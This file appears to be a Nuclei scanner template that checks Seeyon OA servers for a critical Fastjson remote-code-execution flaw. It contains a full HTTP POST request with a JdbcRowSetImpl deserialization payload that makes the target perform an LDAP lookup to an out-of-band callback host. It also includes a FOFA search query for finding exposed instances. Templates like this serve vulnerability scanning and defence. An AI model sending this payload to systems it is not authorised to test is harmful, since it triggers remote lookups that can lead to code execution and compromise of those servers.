37 lines
1.3 KiB
YAML
Executable File
37 lines
1.3 KiB
YAML
Executable File
id: seeyon-oa-fastjson-rce
|
|
|
|
info:
|
|
name: Seeyon OA Fastjson Remote Code Execution
|
|
author: SleepingBag945
|
|
severity: critical
|
|
description: Seeyon OA Fastjson is vulnerable to RCE.
|
|
reference:
|
|
- https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
|
|
- https://github.com/hktalent/scan4all/blob/main/pocs_go/seeyon/SeeyonFastjson.go
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="致远互联-OA"
|
|
tags: seeyon,oa,rce,fastjson,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /seeyon/main.do?method=changeLocale HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "com.alibaba.fastjson.JSONException"
|
|
# digest: 4a0a00473045022100eed8c1874aeee1da8cb9ef77d7a2710d8623731e9e613d5915c89059415a03da022063263a8ae8cb37665863634dff3a097cfed4b67947597b21b34ac0b85cd18d57:922c64590222798bb761d5b6d8e72950 |